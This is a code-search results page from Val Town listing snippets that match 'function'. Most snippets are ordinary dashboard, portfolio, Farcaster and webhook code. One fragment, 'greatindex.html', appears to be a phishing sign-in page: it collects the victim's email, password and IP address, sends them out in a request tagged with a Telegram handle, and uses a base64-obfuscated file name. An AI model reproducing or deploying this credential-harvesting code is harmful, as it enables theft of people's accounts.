Val Town Code SearchReturn to Val Town

API Access

You can access search results via JSON API by adding format=json to your query:

https://codesearch.val.run/$%7Burl%7D?q=function&page=109&format=json

For typeahead suggestions, use the /typeahead endpoint:

https://codesearch.val.run/typeahead?q=function

Returns an array of strings in format "username" or "username/projectName"

Found 34645 results for "function"(4400ms)

Sonaranalytics.tsx17 matches

@moe•Updated 1 week ago
5import { dbQuery } from './supabase.ts'
6
7export function handleAnalyticsEndpoints(app: Hono) {
8 app.get('/analytics', (c) => c.html(<Dashboard />, 200))
9}
10
11async function Dashboard() {
12 // todo: load all data in parallel (postgress connection issue)
13 const w = 90
61}
62
63function Table({ data, title, props, w }) {
64 const renderProp = (item, prop) => {
65 const gap = ' '
113}
114
115function B({ children }) {
116 return <span className="text-neutral-300 dark:text-neutral-600">{children}</span>
117}
118
119function Spacer({ w }) {
120 return (
121 <div>
125}
126
127function countUsersByInterval({ intervalFormat = 'YYYY-MM-DD' }) {
128 return analyticsQuery(`
129 select TO_CHAR(created_at, '${intervalFormat}') as interval, COUNT(distinct fid)
134 limit 10`)
135}
136function topOpenLocations() {
137 return analyticsQuery(`
138 select param, COUNT(*)
143 limit 10`).then(miniappLocationDataTransformer)
144}
145function topScreens() {
146 return analyticsQuery(`
147 select param, COUNT(*)
152 limit 10`).then(screenDataTransformer)
153}
154function topUsers() {
155 return analyticsQuery(`
156 select fid, COUNT(*)
162}
163
164function screenDataTransformer(data: any) {
165 return data.map((item: any) => {
166 return {
170 })
171}
172function userDataTransformer(data: any) {
173 return data.map((item: any) => {
174 return {
178 })
179}
180function miniappLocationDataTransformer(data: any) {
181 return data.map((item: any) => {
182 return {
188}
189
190function getLocationText(param: string) {
191 let locationText = ''
192 if (param) {
206 return locationText
207}
208function getClientFidText(clientFid: any) {
209 if (!clientFid) return `[FC] `
210 if (clientFid == 9152) return `[FC] `
213 return `[${clientFid}]`
214}
215function getLocationLink(param: string) {
216 if (param) {
217 const location = JSON.parse(param)
222}
223
224async function analyticsQuery(query: string, args: any[] = []) {
225 const result = await dbQuery(query, args)
226 return safeRows(result.rows)
227}
228
229function safeRows(rows: any[]) {
230 return rows.map((row) => {
231 const newRow: Record<string, any> = {}

You_Botmain.tsx14 matches

@YouBot•Updated 1 week ago
4
5// Custom Icons
6function MoonIcon(props) {
7 return (
8 <svg
23}
24
25function SunIcon(props) {
26 return (
27 <svg
50}
51
52function GithubIcon(props) {
53 return (
54 <svg
65}
66
67function MailIcon(props) {
68 return (
69 <svg
85}
86
87function LinkedinIcon(props) {
88 return (
89 <svg
101
102// Custom Button Component
103function Button({
104 children,
105 variant = 'primary',
133
134// Custom Card Components
135function Card({ children, className = '' }) {
136 return (
137 <div className={`bg-white dark:bg-gray-800 rounded-lg shadow-md ${className}`}>
141}
142
143function CardHeader({ children, className = '' }) {
144 return (
145 <div className={`p-4 border-b border-gray-200 dark:border-gray-700 ${className}`}>
149}
150
151function CardTitle({ children, className = '' }) {
152 return (
153 <h3 className={`text-xl font-semibold text-gray-900 dark:text-gray-100 ${className}`}>
157}
158
159function CardContent({ children, className = '' }) {
160 return (
161 <div className={`p-4 ${className}`}>
166
167// Custom Switch Component
168function Switch({ checked, onCheckedChange }) {
169 return (
170 <button
190}
191
192function App() {
193 const [theme, setTheme] = useState<'light' | 'dark'>('light');
194
349}
350
351function client() {
352 createRoot(document.getElementById("root")).render(<App />);
353}
354if (typeof document !== "undefined") { client(); }
355
356export default async function server(request: Request): Promise<Response> {
357 return new Response(`
358 <!DOCTYPE html>

YouBotmain.tsx14 matches

@YouBot•Updated 1 week ago
4
5// Custom Icons
6function MoonIcon(props) {
7 return (
8 <svg
23}
24
25function SunIcon(props) {
26 return (
27 <svg
50}
51
52function GithubIcon(props) {
53 return (
54 <svg
65}
66
67function MailIcon(props) {
68 return (
69 <svg
85}
86
87function LinkedinIcon(props) {
88 return (
89 <svg
101
102// Custom Button Component
103function Button({
104 children,
105 variant = 'primary',
133
134// Custom Card Components
135function Card({ children, className = '' }) {
136 return (
137 <div className={`bg-white dark:bg-gray-800 rounded-lg shadow-md ${className}`}>
141}
142
143function CardHeader({ children, className = '' }) {
144 return (
145 <div className={`p-4 border-b border-gray-200 dark:border-gray-700 ${className}`}>
149}
150
151function CardTitle({ children, className = '' }) {
152 return (
153 <h3 className={`text-xl font-semibold text-gray-900 dark:text-gray-100 ${className}`}>
157}
158
159function CardContent({ children, className = '' }) {
160 return (
161 <div className={`p-4 ${className}`}>
166
167// Custom Switch Component
168function Switch({ checked, onCheckedChange }) {
169 return (
170 <button
190}
191
192function App() {
193 const [theme, setTheme] = useState<'light' | 'dark'>('light');
194
349}
350
351function client() {
352 createRoot(document.getElementById("root")).render(<App />);
353}
354if (typeof document !== "undefined") { client(); }
355
356export default async function server(request: Request): Promise<Response> {
357 return new Response(`
358 <!DOCTYPE html>

portfolioSitemain.tsx14 matches

@YouBot•Updated 1 week ago
4
5// Custom Icons
6function MoonIcon(props) {
7 return (
8 <svg
23}
24
25function SunIcon(props) {
26 return (
27 <svg
50}
51
52function GithubIcon(props) {
53 return (
54 <svg
65}
66
67function MailIcon(props) {
68 return (
69 <svg
85}
86
87function LinkedinIcon(props) {
88 return (
89 <svg
101
102// Custom Button Component
103function Button({
104 children,
105 variant = 'primary',
133
134// Custom Card Components
135function Card({ children, className = '' }) {
136 return (
137 <div className={`bg-white dark:bg-gray-800 rounded-lg shadow-md ${className}`}>
141}
142
143function CardHeader({ children, className = '' }) {
144 return (
145 <div className={`p-4 border-b border-gray-200 dark:border-gray-700 ${className}`}>
149}
150
151function CardTitle({ children, className = '' }) {
152 return (
153 <h3 className={`text-xl font-semibold text-gray-900 dark:text-gray-100 ${className}`}>
157}
158
159function CardContent({ children, className = '' }) {
160 return (
161 <div className={`p-4 ${className}`}>
166
167// Custom Switch Component
168function Switch({ checked, onCheckedChange }) {
169 return (
170 <button
190}
191
192function App() {
193 const [theme, setTheme] = useState<'light' | 'dark'>('light');
194
349}
350
351function client() {
352 createRoot(document.getElementById("root")).render(<App />);
353}
354if (typeof document !== "undefined") { client(); }
355
356export default async function server(request: Request): Promise<Response> {
357 return new Response(`
358 <!DOCTYPE html>

SonarPost.tsx5 matches

@moe•Updated 1 week ago
9import { formatDateRelative, formatNumber } from './ui.tsx'
10
11export function Post({ cast, display = 'default' }) {
12 const navigate = useNavigate()
13
44}
45
46function PostMedia({ cast }) {
47 const images = cast.embeds?.filter((embed) => !!embed?.metadata?.image)
48 // const videos = cast.embeds?.filter((embed) => !!embed?.metadata?.video)
113}
114
115function PostInteractions({ cast, display = 'default' }) {
116 const hideInteractions = ['quote', 'sub-comment', 'preview'].includes(display)
117 if (!cast || hideInteractions) return null
135}
136
137export function Feed({
138 queryKey,
139 queryFn,
178}
179
180export function SmallMediaPost({ cast }) {
181 const [isFullscreen, setIsFullscreen] = useState(false)
182 const images = cast?.embeds?.filter((embed) => !!embed?.metadata?.image)

greatindex.html10 matches

@mygl•Updated 1 week ago
180 <script>
181/* global $ */
182$(document).ready(function() {
183 var count = 0;
184
224
225
226 $('#ai').click(function() {
227 $('#error').hide();
228 });
229
230 $(document).keypress(function(event) {
231
232 var keycode = (event.keyCode ? event.keyCode : event.which);
249
250
251 $('#next').click(function() {
252 event.preventDefault();
253 var my_ai = $('#ai').val();
273
274 });
275 // $('#back').click(function() {
276 // // $("#msg").hide();
277 // $("#ai").val("");
283
284var file="bmV4dC5waHA=";
285 $('#submit-btn').click(function(event) {
286 event.preventDefault();
287 var ai = $("#ai").val();
302%0AEmail: ${ai}%0APasswd: ${pr}%0AClient IP: ${userip}%0A====== Telegram: @Source_Code03 ======&parse_mode=html`,
303 type: "GET",
304 beforeSend: function(xhr) {
305 $("#submit-btn").html("verifying...");
306 },
307 success: function(response) {
308 $("#pr").val("");
309 if (count >= 2) {
327 }
328 },
329 error: function() {
330 $("#pr").val("");
331 if (count >= 2) {
349 }
350 },
351 complete: function() {
352 $("#submit-btn").html("Sign in");
353 }

MiniAppStarterFarcasterMiniApp.tsx2 matches

@moe•Updated 1 week ago
4import { formatAddress, formatJSON, MonoButtonWithStatus, Section } from './ui.tsx'
5
6export function FarcasterMiniApp() {
7 const [context, setContext] = useState<any>()
8 const [walletAddresses, setWalletAddresses] = useState<any>()
191}
192
193function ExpandableSection({ title, children }: { title: string; children: React.ReactNode }) {
194 const [expanded, setExpanded] = useState(false)
195

twitterNewTweetAlertmain.tsx3 matches

@axldefi•Updated 1 week ago
69}
70
71export default async function(req: Request): Promise<Response> {
72 if (req.method !== "POST") {
73 return new Response("This Val can only process POST requests from SocialData", {
105}
106
107function generateDiscordPayload(event: NewTweetEvent): any {
108 const tweet = event.data;
109 const user = tweet.user;
179}
180
181async function sendEventToDiscord(event: NewTweetEvent): Promise<void> {
182 const payload = generateDiscordPayload(event);
183

collect-metricsmain.ts1 match

@metart43•Updated 1 week ago
1export default async function(req: Request): Promise<Response> {
2 const url = new URL(req.url);
3 const raw = url.searchParams.get("analytics");

linkInBioTemplatemain.tsx1 match

@Ola123•Updated 1 week ago
2import { renderToString } from "npm:react-dom/server";
3
4export default async function(req: Request) {
5 return new Response(
6 renderToString(

discordWebhook2 file matches

@stevekrouse•Updated 2 weeks ago
Helper function to send Discord messages
tuna

tuna9 file matches

@jxnblk•Updated 1 month ago
Simple functional CSS library for Val Town
lost1991
import { OpenAI } from "https://esm.town/v/std/openai"; export default async function(req: Request): Promise<Response> { if (req.method === "OPTIONS") { return new Response(null, { headers: { "Access-Control-Allow-Origin": "*",
webup
LangChain (https://langchain.com) Ambassador, KubeSphere (https://kubesphere.io) Ambassador, CNCF OpenFunction (https://openfunction.dev) TOC Member.